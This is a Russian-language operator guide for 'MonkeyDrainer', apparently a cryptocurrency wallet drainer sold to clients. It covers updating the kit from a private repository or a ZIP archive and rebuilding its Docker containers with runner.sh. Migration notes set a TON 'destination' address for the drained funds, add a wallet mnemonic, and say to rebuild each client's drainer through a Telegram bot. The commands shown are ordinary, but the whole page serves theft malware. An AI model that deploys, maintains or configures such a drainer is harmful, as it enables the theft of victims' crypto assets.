Skip to content

Обновление MonkeyDrainer

Вариант 1: Автоматическое обновление

MonkeyDrainer поддерживает автоматическое обновление. Для этого необходимо настроить UpdateKeys (специальные SSH-ключи), которые позволят вашему серверу получать обновления напрямую из приватного репозитория. Это гарантирует, что вы всегда будете использовать самую актуальную версию без необходимости вручную загружать архивы.

Шаги для настройки автоматического обновления:

  1. Генерация UpdateKeys:

    • Ключи генерируются автоматически. Достаточно запустить скрипт runner.sh и выбрать в меню пункт 9Generate UpdateKeys.
    • Публичные ключи будут автоматически сгенерированы и выведены на экран.
  2. Отправьте публичные ключи разработчику:

    • Зачем это нужно? Публичные ключи нужны разработчику для добавления в вайт-лист. Это позволит вашему серверу получать обновления напрямую из приватных репозиториев MonkeyDrainer.
    • После генерации ключей, вам необходимо отправить публичные ключи разработчику.
  3. Как это работает?

    • После того как разработчик добавит ваши ключи в вайт-лист, вы сможете напрямую обновлять проект и аддон, используя функции скрипта.
    • Система автоматически проверяет наличие обновлений при каждом запуске скрипта.
  4. Запуск скрипта для обновления:

    • Запустите скрипт:
      bash
      ./runner.sh
    • Скрипт автоматически проверит наличие обновлений для основного проекта и аддона:
      bash
      [FusionRunner] Checking updates for MonkeyDrainer...
      [FusionRunner] Main repository has updates available.
      [FusionRunner] Checking for FusionHoneypotAddon updates...
      [FusionRunner] Addon repository is up-to-date.
  5. Обновление проекта:

    • В меню выберите пункт 8Sync updates drainer & addon. Скрипт автоматически:
      • Загрузит последние обновления из основного репозитория и репозитория аддона.
      • Пересоберёт контейнеры Docker.
      • Перезапустит все сервисы с обновлениями.

Вариант 2: Ручное обновление с использованием ZIP-архива

Если по какой-то причине вы не хотите использовать автоматическое обновление через GitHub или у вас нет доступа к интернету, можно выполнить ручное обновление с использованием ZIP-архива.

Шаги для ручного обновления:

  1. Загрузите и распакуйте архив: Скачайте архив с обновлениями на сервер и распакуйте его:

    bash
    unzip /path/to/fusion-drainer-update.zip
  2. Перенесите файлы из папки fusion-drainer-main: После распаковки убедитесь, что все файлы находятся в папке fusion-drainer-main. Переместите содержимое этой папки в директорию с проектом:

    bash
    rsync -av --remove-source-files fusion-drainer-main/ /path/to/fusion-drainer/
  3. Запустите пересборку через runner.sh: Перейдите в директорию с проектом и запустите скрипт для пересборки контейнеров:

    bash
    cd /path/to/fusion-drainer
    ./runner.sh
  4. Выберите пункт пересборки проекта: В меню выберите пункт 7Rebuild project. Скрипт пересоберёт и перезапустит все контейнеры.

  5. Проверьте статус контейнеров: Выберите в меню пункт 5Check container status, чтобы убедиться, что все контейнеры работают корректно.

Миграция MonkeyDrainer

Миграция до 1.6.1
  1. Добавьте новый параметр destination в секцию ton файла config.yaml. Это адрес, на который будут отправлены средства или токены:

    yaml
    ton:
      destination: "UQ..."
  2. Пересоберите все дрейнеры для клиентов через Telegram-бота. Выберите "⚒️ Собрать дрейнер" для каждой сборки.

Миграция до 1.5.9-beta
  1. Удалите секцию honeypot из файла config.yaml.
  2. Удалите все упоминания decimals из конфигурации и интеграции. Параметры, связанные с ручной настройкой decimals, больше не нужны — скрипт теперь обрабатывает это автоматически.
  3. Добавьте новый параметр mnemonic в секцию ton для работы с приватными ключами и смарт-контрактами:
    yaml
    ton:
      mnemonic: "ваша мнемоническая фраза"
  4. Пересоберите все дрейнеры для клиентов через Telegram-бота. Выберите "⚒️ Собрать дрейнер" для каждой сборки.